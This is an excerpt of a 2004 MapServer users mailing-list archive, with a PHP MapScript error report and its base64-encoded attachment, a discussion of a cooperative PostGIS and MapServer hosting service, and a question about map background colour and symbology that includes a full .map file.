Fatal error: [MapServer Error]: msCalculateScale(): Invalid image extent. in C:\Program Files\Apache Group\Apache2\htdocs\getFlashMap.php on line 107 I am not sure how to fix it as the program is able to work on the creator's website I have installed the ming extenstion to allow for flash output and also PHP Both are installed correctly as both appear as modules of PHP ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html --0-1743743409-1080099366=:99354 Content-Type: application/octet-stream; name="getFlashMap.php" Content-Transfer-Encoding: base64 Content-Description: getFlashMap.php Content-Disposition: attachment; filename="getFlashMap.php" PD9waHANCi8vOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6 Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6 Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Og0KLy8gUEhQLU1hcHNjcmlwdCBGb3Ig Rmxhc2ggSW50ZXJmYWNlIHRvIE1hcFNlcnZlciAxNi8wMS8wMw0KLy8gQXV0 aG9yczogUnlhbiBHcmFudCwgSm9vc3QgdmFuIFVsZGVuOyAoR1NDLVBhY2lm aWMpDQovLyBFbWFpbEB3b3JrOiByZ3JhbnRAbnJjYW4uZ2MuY2EsIGp2YW51 bGRlQG5yY2FuLmdjLmNhDQovLyBFbWFpbEBob21lOiByeWFuZ3JhbnRAc2hh dy5jYQ0KLy8gSW5mbzoNCi8vIC0gSSB0aGluayBtb3N0IG9mIHRoZSBjb2Rl IHNob3VsZCBiZSBzZWxmLWV4cGxhaW5pbmcgdG8gYW55Ym9keSBmYW1pbGlh ciB3aXRoIA0KLy8gdGhlIFBIUC1NYXBzY3JpcHQuIFRoaXMgcGFnZSByZWNp ZXZlcyB0aGUgZm9ybXMgZnJvbSB0aGUgRmxhc2ggc3dmLCBwZWZvcm1zDQov LyB0aGUgY2FsY3VsYXRpb25zLCBhbmQgdGhlbiBzZW5kcyB0aGUgcmVjcXVp cmVkIHZhcmlhYmxlcyBiYWNrIHRvIEZsYXNoLiBGZWVsDQovLyBmcmVlIHRv IGNvbnRhY3QgbWUgd2l0aCBhbnkgcXVlc3Rpb25zLCBzdWdnZXN0aW9ucywg YnVncw0KLy86Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6 Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6 Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6DQoNCg0KDQovLyBsb2FkIHJlcXVpcmVk IGxpYnJhcnkocykNCmRsKCJwaHBfbWFwc2NyaXB0LmRsbCIpOyAvLyBmb3Ig bWFwc2VydmVyIHBocA0KDQovLyA6IDogOiA6IDogOiA6IDogOiAgU1RBUlQg RlVOQ1RJT05TIFRBS0VOIEZST00gR01BUCBERU1PIDogOiA6IDogOiA6IDog OiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6DQovLyA6IDogOiA6 IDogOiA6IDogOiA6IDogOiBQUk9WSURFRCBCWSBETSBTT0xVVElPTlMgIDog OiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6 IDogOiA6DQoNCi8vIGNvbnZlcnQgcGl4ZWwgY29vcmRpbmF0ZXMgdG8gbWFw IGNvb3JkaW5hdGUgc3lzdGVtDQpmdW5jdGlvbiBHTWFwUGl4MkdlbygkblBp eFBvcywgJGRmUGl4TWluLCAkZGZQaXhNYXgsICRkZkdlb01pbiwgJGRmR2Vv TWF4LA0KICAgICAgICAgICAgICAgICAgICAgJG5JbnZlcnNlUGl4KQ0Kew0K DQogICAgJGRmV2lkdGhHZW8gPSAkZGZHZW9NYXggLSAkZGZHZW9NaW47DQog ICAgJGRmV2lkdGhQaXggPSAkZGZQaXhNYXggLSAkZGZQaXhNaW47DQoNCiAg ICAkZGZQaXhUb0dlbyA9ICRkZldpZHRoR2VvIC8gJGRmV2lkdGhQaXg7DQoN CiAgICBpZiAoISRuSW52ZXJzZVBpeCkNCiAgICAgICAgJGRmRGVsdGFQaXgg PSAkblBpeFBvcyAtICRkZlBpeE1pbjsNCiAgICBlbHNlDQogICAgICAgICRk ZkRlbHRhUGl4ID0gJGRmUGl4TWF4IC0gJG5QaXhQb3M7DQoNCiAgICAkZGZE ZWx0YUdlbyA9ICRkZkRlbHRhUGl4ICogJGRmUGl4VG9HZW87DQoNCiAgICAk ZGZQb3NHZW8gPSAkZGZHZW9NaW4gKyAkZGZEZWx0YUdlbzsNCg0KICAgIHJl dHVybiAoJGRmUG9zR2VvKTsNCn0NCi8vIDogOiA6IDogOiA6IDogOiA6ICBF TkQgRlVOQ1RJT05TIFRBS0VOIEZST00gR01BUCBERU1PIDogOiA6IDogOiA6 IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDoNCi8vIDog OiA6IDogOiA6IDogOiA6IDogOiA6IFBST1ZJREVEIEJZIERNIFNPTFVUSU9O UyAgOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDogOiA6IDog OiA6IDogOiA6IDoNCg0KLy8gY29udmVydCBwaXhlbCBjb29yZGluYXRlcyB0 byBtYXAgY29vcmRpbmF0ZSBzeXN0ZW0gLSBjcmVhdGVkIHVzaW5nIEdNYXBQ aXgyR2VvIGFzIGEgdGVtcGxhdGUNCmZ1bmN0aW9uIEdNYXBHZW8yUGl4KCRu R2VvUG9zLCAkZGZQaXhNaW4sICRkZlBpeE1heCwgJGRmR2VvTWluLCAkZGZH ZW9NYXgsJG5JbnZlcnNlUGl4KXsNCiAgICAkZGZXaWR0aEdlbyA9ICRkZkdl b01heCAtICRkZkdlb01pbjsNCiAgICAkZGZXaWR0aFBpeCA9ICRkZlBpeE1h eCAtICRkZlBpeE1pbjsNCiAgICAkZGZHZW9Ub1BpeCA9ICRkZldpZHRoUGl4 IC8gJGRmV2lkdGhHZW87DQogICAgaWYgKCEkbkludmVyc2VQaXgpDQogICAg ICAgICRkZkRlbHRhR2VvID0gJG5HZW9Qb3MgLSAkZGZHZW9NaW47DQogICAg ZWxzZQ0KICAgICAgICAkZGZEZWx0YUdlbyA9ICRkZkdlb01heCAtICRuR2Vv UG9zOw0KICAgICRkZkRlbHRhUGl4ID0gJGRmRGVsdGFHZW8gKiAkZGZHZW9U b1BpeDsNCiAgICAkZGZQb3NQaXggPSAkZGZQaXhNaW4gKyAkZGZEZWx0YVBp eDsNCiAgICByZXR1cm4gKGludHZhbCgkZGZQb3NQaXgpKTsNCn0NCg0KLy8g ZGVmYXVsdCB2YWx1ZXMgYW5kIGNvbmZpZ3VyYXRpb24NCiR2YWxfenNpemU9 MjsNCg0KLy9zZXQgdGhlIG1hcGZpbGUNCiRtYXBfZmlsZSA9ICRIVFRQX1BP U1RfVkFSU1sibWFwX2ZpbGUiXTsNCg0KLy9jcmVhdGUgdGhlIG1hcCBvYmpl Y3QNCiRtYXAgPSBtc19uZXdNYXBPYmooJG1hcF9maWxlKTsNCg0KLy8gc2V0 IHRoZSBkZWZhdWx0IHpvb20gbW9kZSB0byBwYW4NCmlmICghaXNzZXQoJHpv b20pKXsNCiAgJHpvb20gPSAwOw0KfQ0KDQovLyBzZXQgdGhlIGRlZmF1bHQg bW9kZQ0KaWYgKCFpc3NldCgkSFRUUF9QT1NUX1ZBUlNbIm1vZGUiXSkpew0K ICAkbW9kZSA9ICJicm93c2UiOw0KICB9IGVsc2Ugew0KICAkbW9kZSA9ICRI VFRQX1BPU1RfVkFSU1sibW9kZSJdOw0KfQ0KDQovLyBjYXB0dXJlIHRoZSB1 c2VyIHBvaW50IGluIHBpeGVscw0KJG5DbGlja1BpeFggPSBpbnR2YWwoJEhU VFBfUE9TVF9WQVJTWyJtYXBhX3giXSk7DQokbkNsaWNrUGl4WSA9IGludHZh bCgkSFRUUF9QT1NUX1ZBUlNbIm1hcGFfeSJdKTsNCiRkZldpZHRoUGl4ID0g aW50dmFsKCRIVFRQX1BPU1RfVkFSU1siaW1nWCJdKTsNCiRkZkhlaWdodFBp eCA9IGludHZhbCgkSFRUUF9QT1NUX1ZBUlNbImltZ1kiXSk7DQoNCi8vIGNh cHR1cmUgdGhlIHNlbnQgbWFwIGV4dGVudHMNCiRkZk1pblggPSAkSFRUUF9Q T1NUX1ZBUlNbIk1pbngiXTsNCiRkZk1heFggPSAkSFRUUF9QT1NUX1ZBUlNb Ik1heHgiXTsNCiRkZk1pblkgPSAkSFRUUF9QT1NUX1ZBUlNbIk1pbnkiXTsN CiRkZk1heFkgPSAkSFRUUF9QT1NUX1ZBUlNbIk1heHkiXTsNCg0KLy9zZXQg dGhlIHdpZHRoIGFuZCBoZWlnaHQgdG8gdGhlIHNlbnQgdmFsdWVzDQokbWFw LT5zZXQod2lkdGgsJGRmV2lkdGhQaXgpOw0KJG1hcC0+c2V0KGhlaWdodCwk ZGZIZWlnaHRQaXgpOw0KDQppZiAoJEhUVFBfUE9TVF9WQVJTWyJsb2NfeCJd ICE9ICJ4IiAmJiAkSFRUUF9QT1NUX1ZBUlNbImxvY195Il0gIT0gInkiKSB7 DQoJLy90aGlzIHNlY3Rpb25zIGlzIG9ubHkgY2FsbGVkIGlmIHRoZSBsb2Nh dG9yIG1hcCBoYXMgYmVlbiBkcmFnZ2VkIHRvIGEgbmV3IGxvY2F0aW9uDQoJ Ly9nZXQgcmVmZXJlbmNlIG1hcCBleHRlbnRzIG9iamVjdCAtIHVzZXMgdGhl IGV4dGVudHMgY29udGFpbmVkIGluIG1hcCBmaWxlDQoJJHJlZk1hcEV4dGVu dD0kbWFwLT5yZWZlcmVuY2UtPmV4dGVudDsNCgkvL2NvbnZlcnQgdGhlIGxv Y2F0b3IgZGltZW5zaW9ucyB0byBnZW9ncmFwaGljDQoJJG5Mb2NNaW5YPUdN YXBQaXgyR2VvKCRIVFRQX1BPU1RfVkFSU1sibG9jX3giXSwgMCwgJEhUVFBf UE9TVF9WQVJTWyJyZWZYIl0sICRyZWZNYXBFeHRlbnQtPm1pbngsICRyZWZN YXBFeHRlbnQtPm1heHgsIDApOw0KCSRuTG9jTWF4WD1HTWFwUGl4Mkdlbygk SFRUUF9QT1NUX1ZBUlNbImxvY194eCJdLCAwLCAkSFRUUF9QT1NUX1ZBUlNb InJlZlgiXSwgJHJlZk1hcEV4dGVudC0+bWlueCwgJHJlZk1hcEV4dGVudC0+ bWF4eCwgMCk7DQoJJG5Mb2NNaW5ZPUdNYXBQaXgyR2VvKCRIVFRQX1BPU1Rf VkFSU1sibG9jX3kiXSwgMCwgJEhUVFBfUE9TVF9WQVJTWyJyZWZZIl0sICRy ZWZNYXBFeHRlbnQtPm1pbnksICRyZWZNYXBFeHRlbnQtPm1heHksIDEpOw0K CSRuTG9jTWF4WT1HTWFwUGl4MkdlbygkSFRUUF9QT1NUX1ZBUlNbImxvY195 eSJdLCAwLCAkSFRUUF9QT1NUX1ZBUlNbInJlZlkiXSwgJHJlZk1hcEV4dGVu dC0+bWlueSwgJHJlZk1hcEV4dGVudC0+bWF4eSwgMSk7DQoJLy9zZXQgdGhl IG1hcCBleHRlbnRzIHRvIHRoZSBsb2NhdG9yIGV4dGVudHMNCgkkbWFwLT5z ZXRleHRlbnQoJG5Mb2NNaW5YLCAkbkxvY01pblksICRuTG9jTWF4WCwgJG5M b2NNYXhZKTsNCn0gDQplbHNlaWYgKCAkSFRUUF9QT1NUX1ZBUlNbIm1hcGFf eCJdICE9ICIiICYmICRIVFRQX1BPU1RfVkFSU1sibWFwYV95Il0gIT0gIiIp IHsNCgkvL2lmIHVzZXIgaGFzIHNlbnQgY2xpY2tlZCBjb29yZGluYXRlcywg ZW50ZXIgdGhpcyBzZWN0aW9uDQoJLy9nZXQgdGhlIGV4dGVudHMgc2V0DQoJ JGV4dGVudF90b19zZXQgPSBleHBsb2RlKCIgIiwkSFRUUF9QT1NUX1ZBUlNb ImV4dGVudCJdKTsNCgkvL3NldCB0aGUgbWFwIHRvIHRoZXNlIGV4dGVudHMg LSBzaG91bGQgYmUgdGhlIGN1cnJlbnQgZXh0ZW50cyBvZiBtYXAgaW1hZ2UN CgkkbWFwLT5zZXRleHRlbnQoJGV4dGVudF90b19zZXRbMF0sJGV4dGVudF90 b19zZXRbMV0sJGV4dGVudF90b19zZXRbMl0sJGV4dGVudF90b19zZXRbM10p Ow0KCS8vY3JlYXRlIHBvaW50IG9iamVjdCBvZiB0aGUgdXNlciBjb29yZGlu YXRlcw0KCSRteV9wb2ludCA9IG1zX25ld3BvaW50T2JqKCk7DQoJJG15X3Bv aW50LT5zZXRYWSgkSFRUUF9QT1NUX1ZBUlNbIm1hcGFfeCJdLCRIVFRQX1BP U1RfVkFSU1sibWFwYV95Il0pOw0KCS8vY3JlYXRlIG5ldyBleHRlbnQgb2Jq ZWN0IG9mIHNlbnQgZXh0ZW50cw0KCSRteV9leHRlbnQgPSBtc19uZXdyZWN0 T2JqKCk7DQoJJG15X2V4dGVudC0+c2V0ZXh0ZW50KCRleHRlbnRfdG9fc2V0 WzBdLCRleHRlbnRfdG9fc2V0WzFdLCRleHRlbnRfdG9fc2V0WzJdLCRleHRl bnRfdG9fc2V0WzNdKTsNCgkvL2NhbGN1bGF0ZSB0aGUgem9vbSBmYWN0b3IN Cgkkem9vbV9mYWN0b3IgPSAkSFRUUF9QT1NUX1ZBUlNbInpvb20iXSokSFRU UF9QT1NUX1ZBUlNbInpzaXplIl07DQoJaWYgKCR6b29tX2ZhY3RvciA9PSAw KSB7DQoJCSR6b29tX2ZhY3RvciA9IDE7DQoJfQ0KCSR2YWxfenNpemUgPSBh YnMoJHpvb21fZmFjdG9yKTsNCg0KCS8vIGlmIHJlZHJhdyB3YXMgcHJlc3Ms IHJlZHJhdyBtYXAgYXQgc2FtZSBleHRlbnRzIChub3QgdXNlZCB5ZXQpDQoJ aWYgKCRIVFRQX1BPU1RfVkFSU1sicmVkcmF3Il09PSJ0cnVlIikgew0KCQkk bWFwLT5zZXRleHRlbnQoJGRmTWluWCwgJGRmTWluWSwgJGRmTWF4WCwgJGRm TWF4WSk7DQoJfSANCgkvL2lmIHRoZSB1c2VyIGhhcyBkcmFnZ2VkIGEgem9v bSB3aW5kb3csIG5lZWQgdG8gZG8gdGhlIHpvb21yZWN0YW5nZSBmdW5jdGlv biANCgllbHNlaWYgKCRIVFRQX1BPU1RfVkFSU1sibWFwYV94eCJdIT0ieCIg JiYgJEhUVFBfUE9TVF9WQVJTWyJtYXBhX3l5Il0hPSJ5IiAmJiAkSFRUUF9Q T1NUX1ZBUlNbInpvb20iXT09ICIxIikgew0KCQkvLyBjYXB0dXJlIHRoZSB1 c2VyIHBvaW50IGluIHBpeGVscw0KCQkkbkNsaWNrUGl4WFggPSBpbnR2YWwo JEhUVFBfUE9TVF9WQVJTWyJtYXBhX3h4Il0pOw0KCQkkbkNsaWNrUGl4WVkg PSBpbnR2YWwoJEhUVFBfUE9TVF9WQVJTWyJtYXBhX3l5Il0pOw0KCQkvLyBj b21wYXJlIHZlcnRpY2VzIGFuZCBzZXQgbWlucyBhbmQgbWF4cw0KCQlpZigk bkNsaWNrUGl4WFggPiAkbkNsaWNrUGl4WCkgew0KCQkJJG5QaXhNYXhYID0g JG5DbGlja1BpeFhYOw0KCQkJJG5QaXhNaW5YID0gJG5DbGlja1BpeFg7DQoJ CX0gZWxzZSB7DQoJCQkkblBpeE1heFggPSAkbkNsaWNrUGl4WDsNCgkJCSRu UGl4TWluWCA9ICRuQ2xpY2tQaXhYWDsNCgkJfQ0KCQlpZigkbkNsaWNrUGl4 WVkgPiAkbkNsaWNrUGl4WSkgew0KCQkJJG5QaXhNYXhZID0gJG5DbGlja1Bp eFlZOw0KCQkJJG5QaXhNaW5ZID0gJG5DbGlja1BpeFk7DQoJCX0gZWxzZSB7 DQoJCQkkblBpeE1heFkgPSAkbkNsaWNrUGl4WTsNCgkJCSRuUGl4TWluWSA9 ICRuQ2xpY2tQaXhZWTsNCgkJfQ0KCQkvL2NyZWF0ZSB0aGUgcGl4ZWwgZXh0 ZW50cyANCgkJJHBpeF9leHRlbnQgPSBtc19uZXdyZWN0T2JqKCk7DQoJCSRw aXhfZXh0ZW50LT5zZXRleHRlbnQoJG5QaXhNaW5YLCRuUGl4TWluWSwkblBp eE1heFgsJG5QaXhNYXhZKTsNCgkJLy96b29tIHJlY3RhbmdsZQ0KCQkkbWFw LT56b29tcmVjdGFuZ2xlKCRwaXhfZXh0ZW50LCRkZldpZHRoUGl4LCRkZkhl aWdodFBpeCwkbXlfZXh0ZW50KTsNCg0KCQkvLyBpZiB0aGUgdXNlciBzZWxl Y3QgYSBxdWljayB6b29tCQ0KCX0gDQoJZWxzZSB7DQoJCSRtYXAtPnpvb21w b2ludCgkem9vbV9mYWN0b3IsJG15X3BvaW50LCRtYXAtPndpZHRoLCRtYXAt PmhlaWdodCwgJG15X2V4dGVudCk7DQoJfSANCg0KfSAvLyBlbmQgaXNzZXQg bWFwYV94IGFuZCBtYXBhX3kNCg0KLy8gZHJhdyB0aGUgbWFwIGFuZCBzY2Fs ZWJhcg0KJGltYWdlID0gJG1hcC0+ZHJhdygpOw0KJHNjYWxlQmFyID0gJG1h cC0+ZHJhd1NjYWxlQmFyKCk7DQoNCi8vIGNyZWF0ZSB0aGUgaW1hZ2UNCiRp bWFnZV91cmw9JGltYWdlLT5zYXZlV2ViSW1hZ2UoTVNfSlBFRywxLDAsOTAp Ow0KJHNjYWxlQmFyX3VybD0kc2NhbGVCYXItPnNhdmVXZWJJbWFnZShNU19K UEVHLDEsMCw5MCk7DQoNCi8vZ2V0IHRoZSBwaXhlbCBjb29yZHMgd3J0IHRo ZSByZWZlcmVuY2UgbWFwDQokcmVmTWFwPSRtYXAtPnJlZmVyZW5jZTsNCiRy ZWZNYXBXaWR0aD0kcmVmTWFwLT53aWR0aDsNCiRyZWZNYXBIZWlnaHQ9JHJl Zk1hcC0+aGVpZ2h0Ow0KJHJlZlBpeE1pblg9IEdNYXBHZW8yUGl4KCRtYXAt PmV4dGVudC0+bWlueCwgMCwgJHJlZk1hcFdpZHRoLCAkcmVmTWFwLT5leHRl bnQtPm1pbngsICRyZWZNYXAtPmV4dGVudC0+bWF4eCwgMCk7DQokcmVmUGl4 TWF4WD0gR01hcEdlbzJQaXgoJG1hcC0+ZXh0ZW50LT5tYXh4LCAwLCAkcmVm TWFwV2lkdGgsICRyZWZNYXAtPmV4dGVudC0+bWlueCwgJHJlZk1hcC0+ZXh0 ZW50LT5tYXh4LCAwKTsNCiRyZWZQaXhNaW5ZPSBHTWFwR2VvMlBpeCgkbWFw LT5leHRlbnQtPm1pbnksIDAsICRyZWZNYXBIZWlnaHQsICRyZWZNYXAtPmV4 dGVudC0+bWlueSwgJHJlZk1hcC0+ZXh0ZW50LT5tYXh5LCAxKTsNCiRyZWZQ aXhNYXhZPSBHTWFwR2VvMlBpeCgkbWFwLT5leHRlbnQtPm1heHksIDAsICRy ZWZNYXBIZWlnaHQsICRyZWZNYXAtPmV4dGVudC0+bWlueSwgJHJlZk1hcC0+ ZXh0ZW50LT5tYXh5LCAxKTsNCg0KLy8gd3JpdGUgdGhlIGdlb3JlZiBleHRl bnQNCiAgJGV4dGVudF90b19odG1sID0gJG1hcC0+ZXh0ZW50LT5taW54LiIg Ii4kbWFwLT5leHRlbnQtPm1pbnkuIiAiDQogICAgICAgICAgICAgLiRtYXAt PmV4dGVudC0+bWF4eC4iICIuJG1hcC0+ZXh0ZW50LT5tYXh5Ow0KDQo/Pg0K ZXh0ZW50PTw/cGhwIGVjaG8gJGV4dGVudF90b19odG1sPz4mbWFwYV94PTw/ cGhwIGVjaG8gJG1hcGFfeD8+Jm1hcGFfeT08P3BocCBlY2hvICRtYXBhX3k/ PiZNaW54PTw/cGhwIGVjaG8gJG1hcC0+ZXh0ZW50LT5taW54Pz4mTWF4eD08 P3BocCBlY2hvICRtYXAtPmV4dGVudC0+bWF4eD8+Jk1pbnk9PD9waHAgZWNo byAkbWFwLT5leHRlbnQtPm1pbnk/PiZNYXh5PTw/cGhwIGVjaG8gJG1hcC0+ ZXh0ZW50LT5tYXh5Pz4mbWFwYT08P3BocCBlY2hvICRpbWFnZV91cmw/PiZz Y2FsZUJhcj08P3BocCBlY2hvICRzY2FsZUJhcl91cmw/PiZsb2NNaW5YPTw/ cGhwIGVjaG8gJHJlZlBpeE1pblg/PiZsb2NNaW5ZPTw/cGhwIGVjaG8gJHJl ZlBpeE1pblk/PiZsb2NNYXhYPTw/cGhwIGVjaG8gJHJlZlBpeE1heFg/PiZs b2NNYXhZPTw/cGhwIGVjaG8gJHJlZlBpeE1heFk/Pg== --0-1743743409-1080099366=:99354-- From georef at tie.cl Tue Mar 23 21:29:54 2004 From: georef at tie.cl (Juanse) Date: Wed, 24 Mar 2004 01:29:54 -0400 Subject: [Mapserver-users] RE: [postgis-users] Re: Hosting Co-op (was PostGIS hosting?) References: <4060BD79.6040503@refractions.net> <4060E73F.2050108@pobox.com> Message-ID: <007101c41161$0a002ca0$6400a8c0@matilde.cl> I would like to add that, on the Java side of the world, it would be lovelly to have JUMP. Or that one goes on each "editing" machine? Upps. juanse ----- Original Message ----- From: Frank Warmerdam To: PostGIS Users Discussion Cc: UMN MapServer Sent: Tuesday, March 23, 2004 9:41 PM Subject: [postgis-users] Re: Hosting Co-op (was PostGIS hosting?) > Paul Ramsey wrote: > > As a system administrator, my take is that while things would work well > > in the beginning, in the end things would get nasty with version > > interdependencies and the requirements of different users. If I upgrade > > the system-wide PHP installation and break it for some of the users... > > well, they will not like me much. Similarly for systemwide installations > > of GEOS, PostgreSQL, mapserver, etc. While some people will simply use > > their area for happy tinkering, others will want to deploy stable > > applications and leave them be. The tinkerers would be happy to always > > have the latest version of everything, but the deployers would want > > things left well enough alone. > > Tyler / Paul, > > I would tend to agree that for this to be practical versioning would be an > issue. I think it might be best to support multiple versions as time > progresses with old versions not being retired untill there are no paying > co-op members using the version any more. > > More generally, I like the idea of a co-op but I am dubious about whether it > would make sense. Whether it would get enough supporters to justify the effort. > Or alternatively, if there might be some folks interested who want a higher > degree professionalism than a cooperative would be able to provide. > > For instance, I think that network load, and disk space required would vary > quite radically for different users and that it would be relatively hard to > determine which users are using how much (of network bandwidth at least). > Coming up with a fee structure that reasonably reflects this would be > challenging. In fact, one heavy user might easily heavily load the machine > or run up big extra bandwidth charges. > > Caveats aside, I think it would be very nice to have a cooperatively managed > hosting system available. From my point of view, I would like *one* of the > available software sets to closely track the current development version of > some of the key packages (PostGIS, MapServer, and GDAL/OGR for instance). > > Hopefully the system would attract some supports as a convenient place to do > prototyping. To test out MapServer and the various component technologies > even if the intent would be to eventually deploy their production systems > elsewhere once they are satisfied. The nice thing about doing some prototyping > on a relatively public system like this, is that alot of the starting headaches > getting the environment setup would be skipped. Also, it would be easier for > outside developers to diagnose issues on a such a semi-public system. > > One question that comes to mind, is what sort of components you would want to > provide. Ideally I would like to see: > > o PostgreSQL/PostGIS (with GEOS, PROJ, etc). > o MapServer with WMS/WFS/WCS client and server, PROJ, pdf, flash, GDAL, OGR > o Apache 2 > o Python MapScript bindings, possibly Zope? > o Perl MapScript > o PHP/Mapscript > o the full suite of PHP MapScript based Chameleon/CWC2/MapLab technologies > o GDAL/OGR with as many extras built-in as possible builtin, including > JPEG2000, OGDI, HDF, GML (Xerces), DODS, and Python bindings. > o MySQL (plus spatial extensions) > > I think it would also be ideal to provide a full Java environment. I > don't know this side of the world so well, but I assume that would include > "Apache Tomcat", Java MapScript, GeoServer, Java classes for interfacing > with PostGIS, other GeoTools2 related stuff. > > I think setting up a formal cooperative with fees might be pretty organizationally > challenging. It would be easier if someone - perhaps someone who already needs > to setup a co-hosted server - would be willing to operate the system as a > commercial effort even if not with the intent of earning alot of profit. This > might be an independent consultant or perhaps a user group. A company like > DM Solutions or Refractions would also be great, but it might kind of undermine > their more professional support options. For a consultant, or consulting > company operating such a hosting platform could hopefully be a valuable source > of recognition/marketting even though the hosting solution itself isn't likely > to be be too lucrative. > > If someone does decide to launch such an effort, I would be willing to put in > time and effort to help set up many of the software packages, primarily to > promote the various technologies, but also possibly for some free hosting and, > as always, for the recognition that can come from such an effort. > > Best regards, > -- > ---------------------------------------+---------------------------------- ---- > I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.638 / Virus Database: 409 - Release Date: 22/03/04 From stephane.riff at cerene.fr Wed Mar 24 00:49:07 2004 From: stephane.riff at cerene.fr (=?ISO-8859-1?Q?St=E9phane_RIFF?=) Date: Wed, 24 Mar 2004 09:49:07 +0100 Subject: [Mapserver-users] Problem with background color ://: Symbology Message-ID: <40614B83.2010407@cerene.fr> First i have a problem with background color of map.... the problem is when i turn off a specific layer (here : 'Numero_Departements', see .map file below), background color of map is changed and it restore the good color when i turn back on this layer Does anybody already saw this ??? The second question is about symbology... I want to set a symbology on a layer but i can't figure how to do it : One layer with 3 classes based on one field 'product' which can be 'GPS', 'MEASURE','FIXED'. This select the symbol for each class .... here no problems Now i want to set the color of symbols based on another field 'state' which can be 'DONE','CLOSED','TOBEDONE'. This can be done by a layer with 3*3 class with each class with an expression like : [product] = 'GPS' AND [state] = 'DONE' . But i would keep my layer with only 3 class is it possible ??? Here is my .map file for the first problem : # # Start of map file # NAME CRN STATUS ON SIZE 600 600 EXTENT 47673.624 1616618.5 1197873.624 2677218.5 UNITS METERS SHAPEPATH "../data" IMAGECOLOR 80 80 80 TRANSPARENT OFF SYMBOLSET "../symbols/symbols.sym" FONTSET "../fonts/font.list" IMAGETYPE PNG # # Start of web interface definition # WEB MINSCALE 5000 MAXSCALE 100000000 IMAGEPATH "/var/mapserver/www/tmp/" IMAGEURL "/tmp/" #ERROR "/mapServ/error.html" METADATA WMS_SRS "EPSG:27582" END END QUERYMAP SIZE -1 -1 STATUS ON STYLE HILITE COLOR 255 255 0 END # # Start of reference map # REFERENCE STATUS ON EXTENT -2646.55843466 1564942.61318 1257407.47103 2722306.80918 IMAGE ../img/nrefmap.png SIZE 115 106 OUTLINECOLOR 0 0 255 COLOR -1 -1 -1 END # # Start of legend # LEGEND STATUS ON KEYSIZE 18 12 END # # Start of scalebar # SCALEBAR IMAGECOLOR 80 80 80 LABEL COLOR 255 255 255 SIZE tiny END STYLE 1 SIZE 600 2 COLOR 255 255 255 UNITS KILOMETERS INTERVALS 6 TRANSPARENT FALSE STATUS ON END # # Start of layer definitions # LAYER NAME "250000" TILEINDEX "250000" TILEITEM "LOCATION" TYPE RASTER STATUS OFF OFFSITE 0 MAXSCALE 500000 GROUP "Images" CLASS NAME "Fond Raster 250000" END METADATA LYRNAME "250000" WMS_SRS "EPSG:27582" QUERYING_FILEDS "" WMS_ORDER "0" END END LAYER CONNECTIONTYPE postgis NAME "Contour_France" CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourfrance" TYPE LINE STATUS ON GROUP "Contour" HEADER blank.html FOOTER blank.html CLASS NAME "Contour_France" SYMBOL "dashline" COLOR 0 153 255 SIZE 3 END METADATA LYRNAME "France" TABLE_NAME "giscontourfrance" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "1" END END LAYER CONNECTIONTYPE postgis NAME "Contour_Departements" CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourdepartement" TYPE LINE STATUS ON MAXSCALE 100000000 MINSCALE 450000 GROUP "Contour" HEADER blank.html FOOTER blank.html CLASS NAME "Contour_Departements" COLOR 255 128 64 END METADATA LYRNAME "D?partements" TABLE_NAME "giscontourdepartement" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "2" END END LAYER CONNECTIONTYPE postgis CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from giscontourcommune" NAME "Contour_Communes" TYPE POLYGON STATUS ON MINSCALE 5000 MAXSCALE 450000 GROUP "Contour" HEADER "blank.html" FOOTER "blank.html" LABELITEM "nom_comm" CLASS NAME "Contour_Communes" OUTLINECOLOR 250 194 5 SIZE 4 SYMBOL "dashline" LABEL TYPE TRUETYPE FONT "Arialbd" buffer 1 outlinecolor 255 255 255 COLOR 0 0 255 POSITION CC SIZE 10 END END METADATA LYRNAME "Communes" TABLE_NAME "giscontourcommune" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "3" END END LAYER CONNECTIONTYPE postgis CONNECTION "host=localhost dbname=mapserver port=5432 user=nobody" DATA "the_geom from gistxtdepartement" NAME "Numero_Departements" TYPE POINT STATUS ON MAXSCALE 100000000 MINSCALE 450000 GROUP "Texte" LABELITEM "textstring" HEADER blank.html FOOTER blank.html CLASS NAME "Numero_Departements" COLOR 244 190 80 SIZE 8 SYMBOL "point1" LABEL TYPE TRUETYPE FONT "Arialbd" BUFFER 1 outlinecolor 255 255 0 COLOR 255 0 0 POSITION CC SIZE 8 PARTIALS TRUE FORCE TRUE END END METADATA LYRNAME "N? de D?partements" TABLE_NAME "gistxtdepartement" RESULT_FIELDS "" QUERYABLE_FIELDS "" WMS_SRS "EPSG:27582" WMS_ORDER "5" END END END # Map File From hrz at 